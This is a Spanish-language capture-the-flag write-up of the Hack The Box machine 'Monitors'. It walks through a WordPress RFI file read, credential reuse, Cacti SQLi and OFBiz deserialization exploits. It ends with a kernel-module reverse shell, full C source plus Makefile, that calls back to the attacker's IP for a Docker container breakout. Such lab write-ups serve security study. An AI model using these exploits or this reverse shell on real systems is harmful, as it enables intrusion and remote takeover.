Monitors

Hoy vamos a realizar un writeup de maquina linux retirada Monitors alojada en la plataforma de Hack The Box, por aqui os dejo mi perfil por si quereis darme respect jejejej

https://www.hackthebox.com/home/users/profile/1019735

User

Hacemos un escaneo inicial para ver los puertos abiertos

  
	sudo nmap -sS --min-rate 5000 -p- -open -n -Pn 10.10.10.238

Acto seguido usamos los scripts que nos aporta la utilidad nmap para hacer un reconocimiendo de los mismos

  
	sudo nmap -sCV -p22,80 -n -Pn 10.10.10.238 -oN targeted

Entramos a la web que se ejecuta en el puerto 80, vemos que nos dice lo siguiente aprovechandonos del correo vemos el dominio "monitors.htb" este mismo deberemos añadirlo al fichero /etc/hosts para que al ponerlo nos resuelva hacia la maquina y ver si se aplica virtual hosting

10.10.10.238 monitors.htb

Entramos a la web y vemos que se aplica Virtual Hosting ya que cambia el contenido, leyendo el pie de pagina vemos que estamos frente a un wordpress por lo que podríamos enumerar usuarios validos en el login pero en este caso no ya que solo hay un post del usuario admin.
Por lo que se nos ocurririía enumerar plugins en busca de alguno vulnerable.

Para esto podríamos usar el repositorio de seclists en github que nos incluye diccionarios para probar fuzzeando o mejor aun construirnos un script que nos permita crear un diccionario con los nombres de los 52.700 plugins registrados.

Primeramente probaremos a ver si tenemos capacidad de directory listing en /wp-content/plugins/ y efectivamente la tenemos lo cual es poco habitual

Con esto en mano buscamos el unico plugin en searchsploit por si hubiese alguna vulnerabilidad asociada y encontramos un RFI -> Remote File Inclusion

Si lo examinamos podemos ver como funciona

Teniendo esto en cuenta listamos archivos de utilidad como pueden ser el /etc/passwd para ver los usuarios existentes

( Ya que se trata de un RFI si probamos a cargar un archivo php de nuesta maquina vemos que no nos lo interpreta asi que solo podremos listar contenido de la propia maquina)

Tambien podemos listar el archivo /proc/net/tcp para ver los puertos abiertos

En este caso lo hago con curl para guardar el resultado en un archivo

Y con la herramienta que creé y que está en mi github: https://github.com/whitexnd/OpenPorts podemos ver que puertos tiene abiertos internamente en este caso el 80 no sale representado lo cual es un poco raro y vemos tambien el puerto 8443 el cual tambien es un poco raro

Tambien listamos el archivo /etc/apache2/sites-enabled/000-default.conf el cual contiene información de la web y vemos que hay un subdomnio, lo añadimos de nuevo al fichero /etc/hosts

Y lo buscamos a ver si hubiese contenido, en este caso vemos Cacti que parece ser una utilidad de graficos según google

Tambien aprovechamos para ver el fichero wp-config.php el cual suele contener el usuario y contraseña empleados en la base de datos de wordpress

Probamos a logearnos con admin y la credencial que vimos por si se reutilizara

Y logramos acceso a cacti

Buscamos en searchsploit por si hubiera algun tipo de exploit para la versión de cacti que utiliza la maquina

Mediante una inyección sql (SQLi) busca entablar una reverse shell, por lo que lo usaremos para automatizar este proceso

Una vez dentro como el user www-data vemos que hay otro usuario marcus al cual nos interesa pivotar para poder ver su flag, listamos su home y vemos algo raro

Hay una carpeta oculta .backup a la cual no tenemos acceso

Por lo que en este punto probamos a grepear recursivamente la cadena marcus en algun fichero en /etc y encontramos que algo menciona a un script en shell dentro de la carpeta que vimos antes

Tratamos de hacerle un cat para ver si tuviesemos acceso a su contenido y vemos un usuario y contraseña

La probamos por si se reutilizase

Y ya unicamente listariamos la flag user.txt de su direcctorio

Root

Examinamos nuestra ip por si se estuviesemos en un contenedor y en este caso no

Viendo de nuevo el direcctorio personal vemos un archivo note.txt que habla de una imagen docker

Por lo que pensando en esto y sin la capacidad de ver las imagenes de docker activas buscamos algun puerto más abierto y volvemos a ver el 8443

Ahora mediante SSH realizamos un Local Port Forwarding para que nuestro puerto local sea el mismo que el de la victima y podamos verlo

ssh marcus@10.10.10.238 -L 8443:127.0.0.1:8443

Y navegando vemos que tenemos acceso

Hacemos uso de wfuzz para encontrar direcctorios

  
wfuuz
	-c -> Formato colorizado
	-t -> Cantidad de hilos
	--hc=404 -> Para que nos oculte las peticiones que devuelvan el estado 404
	-w -> Indicarle el diccionario

Vemos varios que nos dan un codigo 302 el cual es un redirect

Ponemos uno cualquiera y nos lleva a la siguiente web

Viendo el footer vemos que emplea Apache OFBiz

Y buscando exploit relacionados a esto encontramos un script en shell el cual nos permite RCE -> Remote Command Execution

Según el script se trata de un ataque de Insecure Deserialization podríamos ejecutar el script pasandole los argumentos y obtendríamos acceso, en este caso lo he ido haciendo sentencia a sentencia

Primero cargando mi payload en un fichero que posteriormente la victima se descargará

Descargarnos el archivo indicado en el script para generar JAR pyaloads

Generamos uno con la siguiente sentencia que lo que hace es descargarse un recurso de nuestra maquina y guardarlo en la ruta /tmp, todo esto lo convertimos a base64 y le quitamos el salto de linea del final

Iniciamos el servidor web desde el que compartiremos nuestro shell.sh malicioso

Hacemos una petición curl como se especifica en el script junto al payload jar que hemos creado

Y vemos que efectivamente se ha ejecutado ya que hemos recibido una petición GET al archivo shell.sh

Creamos el ultimo payload para que interprete el archivo que guardó en /tmp

Hacemos el curl

Y vemos que por el puerto en el que estabamos en escucha nos llega la reverse shell

Vemos nuestra ip para ver si estamos en un docker y efectivamente

Nos descargamos LinPeas, el cual es una utilidad de reconocimineto del sistema que podemos encontrar en github y nos la compartimos con un servidor web python como en el anterior ejemplo para descargarnoslo en la maquina victima, despues le damos permisos de ejecución y lo ejecutamos. Atendiendo al resultado vemos que está asignada la capabilitie cap_sys_module

Con el siguiente comando podemos listar las capabilities

Buscando en google encontramos esta pagina la cual nos explica bastante bien como funciona y como abusar de la capabilitie

https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

En este caso tenemos que crearnos el siguiente archivo con nuestra ip y puerto para intentar cargar un modulo kernel que nos entable una reverse shell

  
#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.22/4444 0>&1", NULL};

static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};

static int __init reverse_shell_init(void) {

	return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {

	printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Y tambien un makefile con las siguientes instrucciones:

  
obj-m +=reverse-shell.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean